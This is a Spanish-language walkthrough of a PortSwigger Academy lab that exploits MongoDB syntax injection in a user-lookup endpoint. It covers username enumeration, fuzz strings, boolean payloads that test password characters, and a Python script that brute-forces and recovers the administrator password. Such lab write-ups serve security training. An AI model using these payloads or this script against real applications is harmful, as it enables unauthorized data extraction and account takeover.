Entrada

NoSQLI Lab 3

NoSQLI Lab 3

Skills

  • Exploiting NoSQL injection to extract data

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

La funcionalidad de búsqueda de usuarios de este laboratorio está alimentada por una base de datos MongoDB NoSQL, la cual es vulnerable a inyección NoSQL. Para resolver el laboratorio, debemos extraer la contraseña del usuario administrador e iniciar sesión en su cuenta. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter


Resolución

Al acceder a la web vemos esto

Pulsamos sobre My account y nos logueamos con las credenciales wiener:peter

Si nos abrimos la extensión Logger ++ de Burpsuite vemos todas las peticiones que se han realizado

Vemos que se hace una petición a un archivo JavaScript. En la respuesta podemos ver como hay un objeto user con las propiedades email y role

Cuando nosotros iniciamos sesión se envían al servidor los campos username y password, así que puede ser probable que el objeto user tenga estas dos propiedades también

Vemos también que se envía esta petición, la cual es la encargada de obtener los datos que posteriormente vemos en la web

Esto puede ser una forma de enumerar usuarios, para ello enviamos la petición al Intruder y seleccionamos el nombre de usuario

Como payload vamos a usar este diccionario https://portswigger.net/web-security/authentication/auth-lab-usernames

Nos dirigimos a la pestaña Settings y creamos una expresión regular para saber que usuarios son válidos, para ello pulsamos en Add

Seleccionamos el texto

Efectuamos el ataque y obtenemos dos usuarios válidos carlos y administrator

Enumeramos datos del usuario carlos y del usuario administrator

Hay dos tipos de inyección NoSQL

  • Syntax Injection - Ocurre cuando se puede romper la sintaxis de la consulta NoSQL, lo que le permite inyectar su propia carga útil. La metodología es similar a la utilizada en la inyección SQL. Sin embargo, la naturaleza del ataque varía significativamente, ya que las bases de datos NoSQL utilizan una variedad de lenguajes de consulta, tipos de sintaxis de consulta y diferentes estructuras de datos

  • Operator Injection - Ocurre cuando puedes usar operadores de consulta NoSQL para manipular consultas

En este laboratorio vamos a explotar una Syntax Injection. Es posible detectar vulnerabilidades de inyección NoSQL al intentar romper la sintaxis de la consulta. Para ello, debemos probar cada input enviando cadenas de datos fuzz y caracteres especiales que desencadenen un error de base de datos o algún otro comportamiento detectable si la aplicación no los sanitiza o filtra adecuadamente. Debemos usar caracteres especiales y cadenas de fuzz enfocadas al lenguaje de programación que use la API de la base de datos, de lo contrario, debemos utilizar una amplia variedad de cadenas de fuzz para cubrir varios lenguajes de API. En este caso, esta es una cadena bastante completa

1
2
3
'"`{
;$Foo}
$Foo \xYZ

En el caso de que tengamos que introducir el payload en una URL, este debe estar encodeado

1
%27%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00

Podemos codificar estas cadenas usando el Decoder de Burp Suite o usando la extensión Hackvertor. Con Hackvertor tenemos varias formas de URL encoding.

  • urlencode - Esta función realiza una codificación estándar de URL. En este caso, se codifican todos los caracteres especiales en la URL y se reemplazan por su representación en formato hexadecimal precedida por un %. Sin embargo, un detalle importante es que los espacios se codifican como +

  • urlencode_all - Esta función es más exhaustiva en su enfoque. Codifica todos los caracteres, incluyendo los no imprimibles y especiales, que normalmente no se codificarían en una URL estándar

  • urlencode_not_plus - Esta función es similar a la función urlencode, pero con una diferencia clave, no codifica los espacios como +, sino que los mantiene como %20, que es la representación estándar de un espacio en las URL

  • burp_urlencode - Esta función realiza una codificación estándar de URL como la función urlencode, pero optimizada para Burp Suite para evitar problemas con proxies y herramientas de seguridad

Las vulnerabilidades de inyección NoSQL pueden ocurrir en una variedad de contextos y es necesario adaptar las cadenas de fuzzing en consecuencia. De lo contrario, es posible que se produzcan errores de validación que hagan que la aplicación nunca ejecute la consulta. El payload anterior está preparado para ser inyectado en una URL, por lo que la cadena está URL encodeada. En algunas aplicaciones, es posible que debamos inyectar el payload a través de un JSON. En ese caso, deberíamos adaptar el payload, lo cual daría esta cadena como resultado

1
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000`

Para determinar qué caracteres interpreta la aplicación como sintaxis, podemos probar a inyectar caracteres individuales. Si añadimos una comilla doble " vemos que no ocurre nada

Sin embargo, al añadir una comilla simple ' provocamos un error, lo cual quiere decir que estamos interfiriendo con la query

Si escapamos la comilla simple \', la consulta ya no provoca el error

Después de detectar una vulnerabilidad, el siguiente paso es determinar si se pueden influir en las condiciones booleanas mediante la sintaxis NoSQL. Para probar esto, debemos enviar dos solicitudes, una con una condición falsa como '&&'1'=='2 y otra con una condición verdadera como '&&'1'=='1. Primero vamos a probar con la condición falsa, para ello vamos a tener que urlencodear el payload con cualquier codificación que no sea la de urlencode_not_plus. Vemos que al añadir la condición falsa no nos encuentra el usuario

Al añadir la condición verdadera vemos que si nos devuelve la información del usuario. Esto sugiere que la condición falsa afecta la lógica de la consulta, pero la condición verdadera no y, por lo tanto, confirmamos la existencia de una Syntax Injection

Ahora que hemos identificado que podemos influir en las condiciones booleanas, podemos intentar anular las condiciones existentes para aprovechar la vulnerabilidad. El siguiente payload que vamos a utilizar es '&&this.email[0]=='w, en este caso estamos accediendo al objeto wiener y listando su email que es wiener@normal-user.net

Usamos este otro payload '&&this.password[0]=='p para verificar que el campo password existe y efectivamente así es

Listamos la longitud de la password mediante este payload '&&this.password.length=='5. Como la contraseña de wiener es peter y peter tiene cinco caracteres no nos devuelve ningún error

Listamos la longitud de la password del usuario administrator y obtenemos que es de ocho caracteres

Usamos este otro payload '&&this.password[0]=='a, mandamos la petición al Intruder, seleccionamos como tipo de ataque Cluster Bomb y marcamos las dos posiciones que vamos a bruteforcear

El primer payload va a ser de tipo numérico y va a ir desde el 0 al 7, haciendo un total de 8 de longitud

Para el segundo payload vamos a utilizar todos los caracteres imprimibles de la librería string de python

1
2
3
4
5
6
7
8
# python  
Python 3.13.2 (main, Feb  5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

Vamos a ir iterando para eliminar los caracteres que se repiten y vamos a hacer que se muestren uno debajo de otro

1
2
3
4
5
6
7
#!/usr/bin/python3

import string

characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
for char in characters:
    print(char)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# python print_characters.py
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~

Nos copiamos todo el output del script y lo pegamos como segundo payload

En la pestaña Settings nos dirigimos a Grep - Extract y pulsamos en Add

Señalamos administrator porque si el carácter es el correcto nos devolverá la información del usuario administrator

Efectuamos el ataque de fuerza bruta, primero debemos filtrar por Payload 1 y después por la expresión regular que hemos creado

Otra alternativa es crearnos un script en python para bruteforcear la contraseña

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

from pwn import *
import requests, signal, time, sys, string
from urllib.parse import quote

def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = "https://0a2000950380a41281fb0c910055008d.web-security-academy.net/user/lookup?user=administrator"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(0, 8):
            for character in characters:
                payload = f"'%26%26this.password[{position}]=='{character}"

                cookies = {
                    'session': "Ax5WfTrCYTU0R4cuVSpGOyVe3NXxHEPZ",
                }

                p1.status(payload)

                r = requests.get(url + payload, cookies=cookies)

                if "administrator" in r.text:  
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos la contraseña del usuario administrator

1
2
3
# python3 nosqli.py
[./......] Fuerza bruta: '%26%26this.password[7]=='e
[>] Output: egdmicre

Nos logueamos con las credenciales administrator:egdmicre

Esta entrada está licenciada bajo CC BY 4.0 por el autor.